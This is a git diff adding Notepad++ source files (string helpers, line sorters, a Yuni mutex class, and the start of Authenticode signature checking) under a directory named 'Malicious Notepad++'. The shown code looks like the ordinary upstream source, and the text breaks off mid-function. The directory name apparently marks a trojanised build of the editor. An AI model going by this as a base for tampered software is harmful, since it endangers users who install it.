BCKGRD_COLOR (RGB(255,102,102)) +#define TXT_COLOR (RGB(255,255,255)) + +#define generic_strtol wcstol +#define generic_strncpy wcsncpy +#define generic_stricmp wcsicmp +#define generic_strncmp wcsncmp +#define generic_strnicmp wcsnicmp +#define generic_strncat wcsncat +#define generic_strchr wcschr +#define generic_atoi _wtoi +#define generic_itoa _itow +#define generic_atof _wtof +#define generic_strtok wcstok +#define generic_strftime wcsftime +#define generic_fprintf fwprintf +#define generic_sprintf swprintf +#define generic_sscanf swscanf +#define generic_fopen _wfopen +#define generic_fgets fgetws +#define generic_stat _wstat +#define COPYDATA_FILENAMES COPYDATA_FILENAMESW + +typedef std::basic_string generic_string; +typedef std::basic_stringstream generic_stringstream; + +generic_string folderBrowser(HWND parent, const generic_string & title = TEXT(""), int outputCtrlID = 0, const TCHAR *defaultStr = NULL); +generic_string getFolderName(HWND parent, const TCHAR *defaultDir = NULL); + +void printInt(int int2print); +void printStr(const TCHAR *str2print); +generic_string commafyInt(size_t n); + +void writeLog(const TCHAR *logFileName, const char *log2write); +int filter(unsigned int code, struct _EXCEPTION_POINTERS *ep); +generic_string purgeMenuItemString(const TCHAR * menuItemStr, bool keepAmpersand = false); +std::vector tokenizeString(const generic_string & tokenString, const char delim); + +void ClientRectToScreenRect(HWND hWnd, RECT* rect); +void ScreenRectToClientRect(HWND hWnd, RECT* rect); + +std::wstring string2wstring(const std::string & rString, UINT codepage); +std::string wstring2string(const std::wstring & rwString, UINT codepage); +bool isInList(const TCHAR *token, const TCHAR *list); +generic_string BuildMenuFileName(int filenameLen, unsigned int pos, const generic_string &filename); + +std::string getFileContent(const TCHAR *file2read); +generic_string relativeFilePathToFullFilePath(const TCHAR *relativeFilePath); +void writeFileContent(const TCHAR *file2write, const char *content2write); +bool matchInList(const TCHAR *fileName, const std::vector & patterns); + +class WcharMbcsConvertor final +{ +public: + static WcharMbcsConvertor * getInstance() {return _pSelf;} + static void destroyInstance() {delete _pSelf;} + + const wchar_t * char2wchar(const char *mbStr, UINT codepage, int lenIn=-1, int *pLenOut=NULL, int *pBytesNotProcessed=NULL); + const wchar_t * char2wchar(const char *mbcs2Convert, UINT codepage, int *mstart, int *mend); + const char * wchar2char(const wchar_t *wcStr, UINT codepage, int lenIn = -1, int *pLenOut = NULL); + const char * wchar2char(const wchar_t *wcStr, UINT codepage, long *mstart, long *mend); + + const char * encode(UINT fromCodepage, UINT toCodepage, const char *txt2Encode, int lenIn=-1, int *pLenOut=NULL, int *pBytesNotProcessed=NULL) + { + int lenWc = 0; + const wchar_t * strW = char2wchar(txt2Encode, fromCodepage, lenIn, &lenWc, pBytesNotProcessed); + return wchar2char(strW, toCodepage, lenWc, pLenOut); + } + +protected: + WcharMbcsConvertor() {} + ~WcharMbcsConvertor() {} + + // Since there's no public ctor, we need to void the default assignment operator and copy ctor. + // Since these are marked as deleted does not matter under which access specifier are kept + WcharMbcsConvertor(const WcharMbcsConvertor&) = delete; + WcharMbcsConvertor& operator= (const WcharMbcsConvertor&) = delete; + + static WcharMbcsConvertor* _pSelf; + + template + class StringBuffer final + { + public: + ~StringBuffer() { if(_allocLen) delete[] _str; } + + void sizeTo(size_t size) + { + if (_allocLen < size) + { + if (_allocLen) + delete[] _str; + _allocLen = max(size, initSize); + _str = new T[_allocLen]; + } + } + + void empty() + { + static T nullStr = 0; // routines may return an empty string, with null terminator, without allocating memory; a pointer to this null character will be returned in that case + if (_allocLen == 0) + _str = &nullStr; + else + _str[0] = 0; + } + + operator T* () { return _str; } + operator const T* () const { return _str; } + + protected: + static const int initSize = 1024; + size_t _allocLen = 0; + T* _str = nullptr; + }; + + StringBuffer _multiByteStr; + StringBuffer _wideCharStr; +}; + + + +#define MACRO_RECORDING_IN_PROGRESS 1 +#define MACRO_RECORDING_HAS_STOPPED 2 + +#define REBARBAND_SIZE sizeof(REBARBANDINFO) + +generic_string PathRemoveFileSpec(generic_string & path); +generic_string PathAppend(generic_string &strDest, const generic_string & str2append); +COLORREF getCtrlBgColor(HWND hWnd); +generic_string stringToUpper(generic_string strToConvert); +generic_string stringReplace(generic_string subject, const generic_string& search, const generic_string& replace); +std::vector stringSplit(const generic_string& input, const generic_string& delimiter); +generic_string stringJoin(const std::vector& strings, const generic_string& separator); +generic_string stringTakeWhileAdmissable(const generic_string& input, const generic_string& admissable); +double stodLocale(const generic_string& str, _locale_t loc, size_t* idx = NULL); + +bool str2Clipboard(const generic_string &str2cpy, HWND hwnd); + +generic_string GetLastErrorAsString(DWORD errorCode = 0); + +generic_string intToString(int val); +generic_string uintToString(unsigned int val); + +HWND CreateToolTip(int toolID, HWND hDlg, HINSTANCE hInst, const PTSTR pszText); + +bool isCertificateValidated(const generic_string & fullFilePath, const generic_string & subjectName2check); +bool isAssoCommandExisting(LPCTSTR FullPathName); diff --git a/Malicious Notepad++/src/MISC/Common/LongRunningOperation.cpp b/Malicious Notepad++/src/MISC/Common/LongRunningOperation.cpp new file mode 100644 index 0000000..afdc73c --- /dev/null +++ b/Malicious Notepad++/src/MISC/Common/LongRunningOperation.cpp @@ -0,0 +1,48 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#include "LongRunningOperation.h" +#include "mutex.h" + +using namespace Yuni; + + + + +LongRunningOperation::LongRunningOperation() +{ + Mutex::ClassLevelLockable::mutex.lock(); +} + + +LongRunningOperation::~LongRunningOperation() +{ + Mutex::ClassLevelLockable::mutex.unlock(); +} + + + diff --git a/Malicious Notepad++/src/MISC/Common/LongRunningOperation.h b/Malicious Notepad++/src/MISC/Common/LongRunningOperation.h new file mode 100644 index 0000000..b1d8e76 --- /dev/null +++ b/Malicious Notepad++/src/MISC/Common/LongRunningOperation.h @@ -0,0 +1,39 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef M30_IDE_LONGRUNNINGOPERATION_h +#define M30_IDE_LONGRUNNINGOPERATION_h + +class LongRunningOperation +{ +public: + LongRunningOperation(); + ~LongRunningOperation(); +}; + +#endif //M30_IDE_LONGRUNNINGOPERATION_h diff --git a/Malicious Notepad++/src/MISC/Common/Sorters.h b/Malicious Notepad++/src/MISC/Common/Sorters.h new file mode 100644 index 0000000..b0d335f --- /dev/null +++ b/Malicious Notepad++/src/MISC/Common/Sorters.h @@ -0,0 +1,270 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef NPP_SORTERS_H +#define NPP_SORTERS_H + +#include + +// Base interface for line sorting. +class ISorter +{ +private: + bool _isDescending; + size_t _fromColumn, _toColumn; + +protected: + bool isDescending() const + { + return _isDescending; + } + + generic_string getSortKey(const generic_string& input) + { + if (isSortingSpecificColumns()) + { + return input.substr(_fromColumn, 1 + _toColumn - _fromColumn); + } + else + { + return input; + } + } + + bool isSortingSpecificColumns() + { + return _fromColumn != 0 && _toColumn != 0; + } + +public: + ISorter(bool isDescending, size_t fromColumn, size_t toColumn) : _isDescending(isDescending), _fromColumn(fromColumn), _toColumn(toColumn) + { + assert(_fromColumn <= _toColumn); + }; + virtual ~ISorter() { }; + virtual std::vector sort(std::vector lines) = 0; +}; + +// Implementation of lexicographic sorting of lines. +class LexicographicSorter : public ISorter +{ +public: + LexicographicSorter(bool isDescending, size_t fromColumn, size_t toColumn) : ISorter(isDescending, fromColumn, toColumn) { }; + + std::vector sort(std::vector lines) override + { + // Note that both branches here are equivalent in the sense that they give always give the same answer. + // However, if we are *not* sorting specific columns, then we get a 40% speed improvement by not calling + // getSortKey() so many times. + if (isSortingSpecificColumns()) + { + std::sort(lines.begin(), lines.end(), [this](generic_string a, generic_string b) + { + if (isDescending()) + { + return getSortKey(a).compare(getSortKey(b)) > 0; + + } + else + { + return getSortKey(a).compare(getSortKey(b)) < 0; + } + }); + } + else + { + std::sort(lines.begin(), lines.end(), [this](generic_string a, generic_string b) + { + if (isDescending()) + { + return a.compare(b) > 0; + } + else + { + return a.compare(b) < 0; + } + }); + } + return lines; + } +}; + +// Convert each line to a number and then sort. +// The conversion must be implemented in classes which inherit from this, see prepareStringForConversion and convertStringToNumber. +template +class NumericSorter : public ISorter +{ +public: + NumericSorter(bool isDescending, size_t fromColumn, size_t toColumn) : ISorter(isDescending, fromColumn, toColumn) + { +#ifdef __MINGW32__ + _usLocale = NULL; +#else + _usLocale = ::_create_locale(LC_NUMERIC, "en-US"); +#endif + }; + + ~NumericSorter() + { +#ifndef __MINGW32__ + ::_free_locale(_usLocale); +#endif + } + + std::vector sort(std::vector lines) override + { + // Note that empty lines are filtered out and added back manually to the output at the end. + std::vector> nonEmptyInputAsNumbers; + std::vector empties; + nonEmptyInputAsNumbers.reserve(lines.size()); + for (size_t lineIndex = 0; lineIndex < lines.size(); ++lineIndex) + { + const generic_string originalLine = lines[lineIndex]; + const generic_string preparedLine = prepareStringForConversion(originalLine); + if (considerStringEmpty(preparedLine)) + { + empties.push_back(originalLine); + } + else + { + try + { + nonEmptyInputAsNumbers.push_back(make_pair(lineIndex, convertStringToNumber(preparedLine))); + } + catch (...) + { + throw lineIndex; + } + } + } + assert(nonEmptyInputAsNumbers.size() + empties.size() == lines.size()); + const bool descending = isDescending(); + std::sort(nonEmptyInputAsNumbers.begin(), nonEmptyInputAsNumbers.end(), [descending](std::pair a, std::pair b) + { + if (descending) + { + return a.second > b.second; + } + else + { + return a.second < b.second; + } + }); + std::vector output; + output.reserve(lines.size()); + if (!isDescending()) + { + output.insert(output.end(), empties.begin(), empties.end()); + } + for (auto it = nonEmptyInputAsNumbers.begin(); it != nonEmptyInputAsNumbers.end(); ++it) + { + output.push_back(lines[it->first]); + } + if (isDescending()) + { + output.insert(output.end(), empties.begin(), empties.end()); + } + assert(output.size() == lines.size()); + return output; + } + +protected: + bool considerStringEmpty(const generic_string& input) + { + // String has something else than just whitespace. + return input.find_first_not_of(TEXT(" \t\r\n")) == std::string::npos; + } + + // Prepare the string for conversion to number. + virtual generic_string prepareStringForConversion(const generic_string& input) = 0; + + // Should convert the input string to a number of the correct type. + // If unable to convert, throw either std::invalid_argument or std::out_of_range. + virtual T_Num convertStringToNumber(const generic_string& input) = 0; + + // We need a fixed locale so we get the same string-to-double behavior across all computers. + // This is the "enUS" locale. + _locale_t _usLocale; +}; + +// Converts lines to long long before sorting. +class IntegerSorter : public NumericSorter +{ +public: + IntegerSorter(bool isDescending, size_t fromColumn, size_t toColumn) : NumericSorter(isDescending, fromColumn, toColumn) { }; + +protected: + virtual generic_string prepareStringForConversion(const generic_string& input) + { + return stringTakeWhileAdmissable(getSortKey(input), TEXT(" \t\r\n0123456789-")); + } + + long long convertStringToNumber(const generic_string& input) override + { + return std::stoll(input); + } +}; + +// Converts lines to double before sorting (assumes decimal comma). +class DecimalCommaSorter : public NumericSorter +{ +public: + DecimalCommaSorter(bool isDescending, size_t fromColumn, size_t toColumn) : NumericSorter(isDescending, fromColumn, toColumn) { }; + +protected: + generic_string prepareStringForConversion(const generic_string& input) override + { + generic_string admissablePart = stringTakeWhileAdmissable(getSortKey(input), TEXT(" \t\r\n0123456789,-")); + return stringReplace(admissablePart, TEXT(","), TEXT(".")); + } + + double convertStringToNumber(const generic_string& input) override + { + return stodLocale(input, _usLocale); + } +}; + +// Converts lines to double before sorting (assumes decimal dot). +class DecimalDotSorter : public NumericSorter +{ +public: + DecimalDotSorter(bool isDescending, size_t fromColumn, size_t toColumn) : NumericSorter(isDescending, fromColumn, toColumn) { }; + +protected: + generic_string prepareStringForConversion(const generic_string& input) override + { + return stringTakeWhileAdmissable(getSortKey(input), TEXT(" \t\r\n0123456789.-")); + } + + double convertStringToNumber(const generic_string& input) override + { + return stodLocale(input, _usLocale); + } +}; + +#endif //NPP_SORTERS_H diff --git a/Malicious Notepad++/src/MISC/Common/mutex.cpp b/Malicious Notepad++/src/MISC/Common/mutex.cpp new file mode 100644 index 0000000..69e7236 --- /dev/null +++ b/Malicious Notepad++/src/MISC/Common/mutex.cpp @@ -0,0 +1,181 @@ +// YUNI's default license is the GNU Lesser Public License (LGPL), with some +// exclusions (see below). This basically means that you can get the full source +// code for nothing, so long as you adhere to a few rules. +// +// Under the LGPL you may use YUNI for any purpose you wish, and modify it if you +// require, as long as you: +// +// Pass on the (modified) YUNI source code with your software, with original +// copyrights intact : +// * If you distribute electronically, the source can be a separate download +// (either from your own site if you modified YUNI, or to the official YUNI +// website if you used an unmodified version) – just include a link in your +// documentation +// * If you distribute physical media, the YUNI source that you used to build +// your application should be included on that media +// Make it clear where you have customised it. +// +// In addition to the LGPL license text, the following exceptions / clarifications +// to the LGPL conditions apply to YUNI: +// +// * Making modifications to YUNI configuration files, build scripts and +// configuration headers such as yuni/platform.h in order to create a +// customised build setup of YUNI with the otherwise unmodified source code, +// does not constitute a derived work +// * Building against YUNI headers which have inlined code does not constitute a +// derived work +// * Code which subclasses YUNI classes outside of the YUNI libraries does not +// form a derived work +// * Statically linking the YUNI libraries into a user application does not make +// the user application a derived work. +// * Using source code obsfucation on the YUNI source code when distributing it +// is not permitted. +// As per the terms of the LGPL, a "derived work" is one for which you have to +// distribute source code for, so when the clauses above define something as not +// a derived work, it means you don't have to distribute source code for it. +// However, the original YUNI source code with all modifications must always be +// made available. + +#include "mutex.h" +#include +#include +#include + +#if YUNI_ATOMIC_MUST_USE_MUTEX != 0 +#warning Atomic types must ue mutex. the implementation should be checked YUNI_OS_GCC_VERSION +#endif + + + +namespace Yuni +{ + + enum // anonymous + { + /*! + ** \brief The spin count for the critical section object + ** + ** On single-processor systems, the spin count is ignored and the critical section + ** spin count is set to 0 (zero). On multiprocessor systems, if the critical section + ** is unavailable, the calling thread spinsdwSpinCount times before performing a + ** wait operation on a semaphore associated with the critical section. If the critical + ** section becomes free during the spin operation, the calling thread avoids the + ** wait operation. + ** \see http://msdn.microsoft.com/en-us/library/ms683476%28v=vs.85%29.aspx + */ + spinCount = 3000, + }; + + + + inline void Mutex::destroy() + { + # ifndef YUNI_NO_THREAD_SAFE + # ifdef YUNI_OS_WINDOWS + DeleteCriticalSection(&pSection); + # else + switch (::pthread_mutex_destroy(&pLock)) + { + case 0: // Ok good + { + break; + } + // If an error happens, we will let the program continue but + // it can becaome ugly around here... + case EBUSY: + { + std::cerr << "\nattempt to destroy a mutex while it is locked or referenced\n"; + assert(false and "attempt to destroy a mutex while it is locked or referenced"); + break; + } + default: + { + std::cerr << "\nfailed to destroy a mutex\n"; + assert(false and "\nfailed to destroy a mutex\n"); + break; + } + } + ::pthread_mutexattr_destroy(&pAttr); + # endif + # endif // no thread safe + } + + + inline void Mutex::copy(const Mutex& rhs) + { + # ifndef YUNI_NO_THREAD_SAFE + # ifdef YUNI_OS_WINDOWS + InitializeCriticalSectionAndSpinCount(&pSection, spinCount); + (void) rhs; // unused + # else + ::pthread_mutexattr_init(&pAttr); + int type; // = PTHREAD_MUTEX_NORMAL; + if (0 == ::pthread_mutexattr_gettype(&rhs.pAttr, &type)) + { + if (PTHREAD_MUTEX_RECURSIVE == type) + { + # if defined(YUNI_OS_DARWIN) or defined(YUNI_OS_FREEBSD) or defined(YUNI_OS_SOLARIS) or defined(YUNI_OS_SUNOS) or defined(YUNI_OS_HAIKU) or defined(YUNI_OS_CYGWIN) + ::pthread_mutexattr_settype(&pAttr, PTHREAD_MUTEX_RECURSIVE); + # else + ::pthread_mutexattr_settype(&pAttr, PTHREAD_MUTEX_RECURSIVE_NP); + # endif + } + } + ::pthread_mutex_init(& pLock, &pAttr); + # endif + # else + (void) rhs; // unused + # endif // no thread safe + } + + + + Mutex::Mutex(const Mutex& rhs) + { + copy(rhs); + } + + + Mutex::~Mutex() + { + destroy(); + } + + + Mutex::Mutex(bool recursive) + { + # ifndef YUNI_NO_THREAD_SAFE + # ifdef YUNI_OS_WINDOWS + (void) recursive; // already recursive on Windows + InitializeCriticalSectionAndSpinCount(&pSection, spinCount); + # else + ::pthread_mutexattr_init(&pAttr); + if (recursive) + { + # if defined(YUNI_OS_DARWIN) or defined(YUNI_OS_FREEBSD) or defined(YUNI_OS_SOLARIS) or defined(YUNI_OS_SUNOS) or defined(YUNI_OS_HAIKU) or defined(YUNI_OS_CYGWIN) + ::pthread_mutexattr_settype(&pAttr, PTHREAD_MUTEX_RECURSIVE); + # else + ::pthread_mutexattr_settype(&pAttr, PTHREAD_MUTEX_RECURSIVE_NP); + # endif + } + ::pthread_mutex_init(&pLock, &pAttr); + # endif + # else + (void) recursive; + # endif + } + + + Mutex& Mutex::operator = (const Mutex& rhs) + { + // We will recreate the mutex + destroy(); + copy(rhs); + return *this; + } + + + + + +} // namespace Yuni diff --git a/Malicious Notepad++/src/MISC/Common/mutex.h b/Malicious Notepad++/src/MISC/Common/mutex.h new file mode 100644 index 0000000..44a5c15 --- /dev/null +++ b/Malicious Notepad++/src/MISC/Common/mutex.h @@ -0,0 +1,234 @@ +// YUNI's default license is the GNU Lesser Public License (LGPL), with some +// exclusions (see below). This basically means that you can get the full source +// code for nothing, so long as you adhere to a few rules. +// +// Under the LGPL you may use YUNI for any purpose you wish, and modify it if you +// require, as long as you: +// +// Pass on the (modified) YUNI source code with your software, with original +// copyrights intact : +// * If you distribute electronically, the source can be a separate download +// (either from your own site if you modified YUNI, or to the official YUNI +// website if you used an unmodified version) – just include a link in your +// documentation +// * If you distribute physical media, the YUNI source that you used to build +// your application should be included on that media +// Make it clear where you have customised it. +// +// In addition to the LGPL license text, the following exceptions / clarifications +// to the LGPL conditions apply to YUNI: +// +// * Making modifications to YUNI configuration files, build scripts and +// configuration headers such as yuni/platform.h in order to create a +// customised build setup of YUNI with the otherwise unmodified source code, +// does not constitute a derived work +// * Building against YUNI headers which have inlined code does not constitute a +// derived work +// * Code which subclasses YUNI classes outside of the YUNI libraries does not +// form a derived work +// * Statically linking the YUNI libraries into a user application does not make +// the user application a derived work. +// * Using source code obsfucation on the YUNI source code when distributing it +// is not permitted. +// As per the terms of the LGPL, a "derived work" is one for which you have to +// distribute source code for, so when the clauses above define something as not +// a derived work, it means you don't have to distribute source code for it. +// However, the original YUNI source code with all modifications must always be +// made available. + +#pragma once +#define YUNI_OS_WINDOWS +#define YUNI_HAS_CPP_MOVE +#define YUNI_DECL + +#include + + + +namespace Yuni +{ + + /*! + ** \brief Mechanism to avoid the simultaneous use of a common resource + ** + ** \ingroup Threads + */ + class YUNI_DECL Mutex final + { + public: + /*! + ** \brief A class-level locking mechanism + ** + ** A class-level locking operation locks all objects in a given class during that operation + */ + template + class ClassLevelLockable + { + public: + //! A dedicated mutex for the class T + static Mutex mutex; + + }; // class ClassLevelLockable + + + public: + //! \name Constructor & Destructor + //@{ + /*! + ** \brief Default constructor + ** + ** Recursive by default to keep homogeneous behavior between + ** platforms. + */ + explicit Mutex(bool recursive = true); + /*! + ** \brief Copy constructor + ** + ** This constructor does actually nothing but it allows the compilation + ** of other classes which would implement a copy constructor + */ + Mutex(const Mutex&); + + # ifdef YUNI_HAS_CPP_MOVE + // an OS's native mutex must have invariant address and thus can not be moved + Mutex(Mutex&&) = delete; + #endif + + /*! + ** \brief Destructor + */ + ~Mutex(); + //@} + + //! \name Lock & Unlock + //@{ + /*! + ** \brief Lock the mutex + */ + void lock(); + + /*! + ** \brief Try to lock the mutex + ** + ** \return True if the mutex has been locked, false otherwise + */ + bool trylock(); + + /*! + ** \brief Release the lock + */ + void unlock(); + //@} + + # ifndef YUNI_NO_THREAD_SAFE + # ifndef YUNI_OS_WINDOWS + //! \name Native + //@{ + //! Get the original PThread mutex + ::pthread_mutex_t& pthreadMutex(); + //! Get the original PThread mutex (const) + const ::pthread_mutex_t& pthreadMutex() const; + //@} + # endif + # endif + + + //! \name Operators + //@{ + //! Operator = (do nothing) + Mutex& operator = (const Mutex&); + # ifdef YUNI_HAS_CPP_MOVE + // an OS's native mutex must have invariant address and thus can not be moved + Mutex& operator = (Mutex&&) = delete; + #endif + //@} + + + private: + //! Destroy the current mutex + inline void destroy(); + //! Create the mutex with settings from another mutex + inline void copy(const Mutex& rhs); + + private: + # ifndef YUNI_NO_THREAD_SAFE + # ifdef YUNI_OS_WINDOWS + //! The critical section + CRITICAL_SECTION pSection; + # else + //! The PThread mutex + ::pthread_mutex_t pLock; + ::pthread_mutexattr_t pAttr; + # endif + # endif + + }; // class Mutex + + + + + /*! + ** \brief Locks a mutex in the constructor and unlocks it in the destructor (RAII). + ** + ** This class is especially usefull for `get` accessor` and/or returned values + ** which have to be thread-safe. + ** This is a very common C++ idiom, known as "Resource Acquisition Is Initialization" (RAII). + ** + ** \code + ** class Foo + ** { + ** public: + ** Foo() : pValue(42) {} + ** ~Foo() {} + ** int getValue() + ** { + ** MutexLocker locker(pMutex); + ** return pValue; + ** } + ** void setValue(const int i) + ** { + ** pMutex.lock(); + ** pValue = i; + ** pMutex.unlock(); + ** } + ** private: + ** int pValue; + ** Mutex pMutex; + ** }; + ** \endcode + */ + class MutexLocker final + { + public: + //! \name Constructor & Destructor + //@{ + /*! + ** \brief Constructor + ** + ** \param m The mutex to lock + */ + MutexLocker(Mutex& m); + //! Destructor + ~MutexLocker(); + //@} + + MutexLocker& operator = (const MutexLocker&) = delete; + + private: + //! Reference to the real mutex + Mutex& pMutex; + + }; // MutexLocker + + + + + //! All mutexes for each class + template Mutex Mutex::ClassLevelLockable::mutex; + + + + +} // namespace Yuni + +# include "mutex.hxx" diff --git a/Malicious Notepad++/src/MISC/Common/mutex.hxx b/Malicious Notepad++/src/MISC/Common/mutex.hxx new file mode 100644 index 0000000..2d0c381 --- /dev/null +++ b/Malicious Notepad++/src/MISC/Common/mutex.hxx @@ -0,0 +1,116 @@ +// YUNI's default license is the GNU Lesser Public License (LGPL), with some +// exclusions (see below). This basically means that you can get the full source +// code for nothing, so long as you adhere to a few rules. + +// Under the LGPL you may use YUNI for any purpose you wish, and modify it if you +// require, as long as you: +// +// Pass on the (modified) YUNI source code with your software, with original +// copyrights intact : +// * If you distribute electronically, the source can be a separate download +// (either from your own site if you modified YUNI, or to the official YUNI +// website if you used an unmodified version) – just include a link in your +// documentation +// * If you distribute physical media, the YUNI source that you used to build +// your application should be included on that media +// Make it clear where you have customised it. +// +// In addition to the LGPL license text, the following exceptions / clarifications +// to the LGPL conditions apply to YUNI: +// +// * Making modifications to YUNI configuration files, build scripts and +// configuration headers such as yuni/platform.h in order to create a +// customised build setup of YUNI with the otherwise unmodified source code, +// does not constitute a derived work +// * Building against YUNI headers which have inlined code does not constitute a +// derived work +// * Code which subclasses YUNI classes outside of the YUNI libraries does not +// form a derived work +// * Statically linking the YUNI libraries into a user application does not make +// the user application a derived work. +// * Using source code obsfucation on the YUNI source code when distributing it +// is not permitted. +// As per the terms of the LGPL, a "derived work" is one for which you have to +// distribute source code for, so when the clauses above define something as not +// a derived work, it means you don't have to distribute source code for it. +// However, the original YUNI source code with all modifications must always be +// made available. + +#pragma once +#include "mutex.h" + + + +namespace Yuni +{ + + inline void Mutex::lock() + { + # ifndef YUNI_NO_THREAD_SAFE + # ifdef YUNI_OS_WINDOWS + EnterCriticalSection(&pSection); + # else + ::pthread_mutex_lock(&pLock); + # endif + # endif + } + + + inline bool Mutex::trylock() + { + # ifndef YUNI_NO_THREAD_SAFE + # ifdef YUNI_OS_WINDOWS + return (0 != TryEnterCriticalSection(&pSection)); + # else + return (0 == ::pthread_mutex_trylock(&pLock)); + # endif + # else + return false; + # endif + } + + + inline void Mutex::unlock() + { + # ifndef YUNI_NO_THREAD_SAFE + # ifdef YUNI_OS_WINDOWS + LeaveCriticalSection(&pSection); + # else + ::pthread_mutex_unlock(&pLock); + # endif + # endif + } + + + # ifndef YUNI_NO_THREAD_SAFE + # ifndef YUNI_OS_WINDOWS + inline pthread_mutex_t& Mutex::pthreadMutex() + { + return pLock; + } + + inline const pthread_mutex_t& Mutex::pthreadMutex() const + { + return pLock; + } + # endif + # endif + + + + inline MutexLocker::MutexLocker(Mutex& m) : + pMutex(m) + { + m.lock(); + } + + + inline MutexLocker::~MutexLocker() + { + pMutex.unlock(); + } + + + + +} // namespace Yuni diff --git a/Malicious Notepad++/src/MISC/Common/verifySignedfile.cpp b/Malicious Notepad++/src/MISC/Common/verifySignedfile.cpp new file mode 100644 index 0000000..804f7fd --- /dev/null +++ b/Malicious Notepad++/src/MISC/Common/verifySignedfile.cpp @@ -0,0 +1,273 @@ +// This file is part of Notepad++ project +// Copyright (C)2003-2017 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +// VerifyDLL.cpp : Verification of an Authenticode signed DLL +// + +#include +#include +#include +#include +#include +#include +#include +#include "VerifySignedFile.h" +#include "Common.h" + +using namespace std; + +bool VerifySignedLibrary(const wstring& filepath, + const wstring& cert_key_id_hex, + const wstring& cert_subject, + const wstring& cert_display_name, + bool doCheckRevocation, + bool doCheckChainOfTrust) +{ + wstring display_name; + wstring key_id_hex; + wstring subject; + + wstring dmsg(TEXT("VerifyLibrary: ")); + dmsg += filepath; + dmsg += TEXT("\n"); + + OutputDebugString(dmsg.c_str()); + + // + // Signature verification + // + + // Initialize the WINTRUST_FILE_INFO structure. + LPCWSTR pwszfilepath = filepath.c_str(); + WINTRUST_FILE_INFO file_data = { 0 }; + file_data.cbStruct = sizeof(WINTRUST_FILE_INFO); + file_data.pcwszFilePath = pwszfilepath; + + // Initialise WinTrust data + WINTRUST_DATA winTEXTrust_data = { 0 }; + winTEXTrust_data.cbStruct = sizeof(winTEXTrust_data); + winTEXTrust_data.dwUIChoice = WTD_UI_NONE; // do not display optionnal dialog boxes + winTEXTrust_data.dwUnionChoice = WTD_CHOICE_FILE; // we are not checking catalog signed files + winTEXTrust_data.dwStateAction = WTD_STATEACTION_VERIFY; // only checking + winTEXTrust_data.fdwRevocationChecks = WTD_REVOKE_WHOLECHAIN; // verify the whole certificate chain + winTEXTrust_data.pFile = &file_data; + + if (!doCheckRevocation) + { + winTEXTrust_data.fdwRevocationChecks = WTD_REVOKE_NONE; + OutputDebugString(TEXT("VerifyLibrary: certificate revocation checking is disabled\n")); + } + else + { + // if offline, revocation is not checked + // depending of windows version, this may introduce a latency on offline systems + DWORD netstatus; + QOCINFO oci; + oci.dwSize = sizeof(oci); + CONST TCHAR* msftTEXTest_site = TEXT("http://www.msftncsi.com/ncsi.txt"); + bool online = false; + online = (0 != IsNetworkAlive(&netstatus)); + online = online && (0 == GetLastError()); + online = online && (0 == IsDestinationReachable(msftTEXTest_site, &oci)); + if (!online) + { + winTEXTrust_data.fdwRevocationChecks = WTD_REVOKE_NONE; + 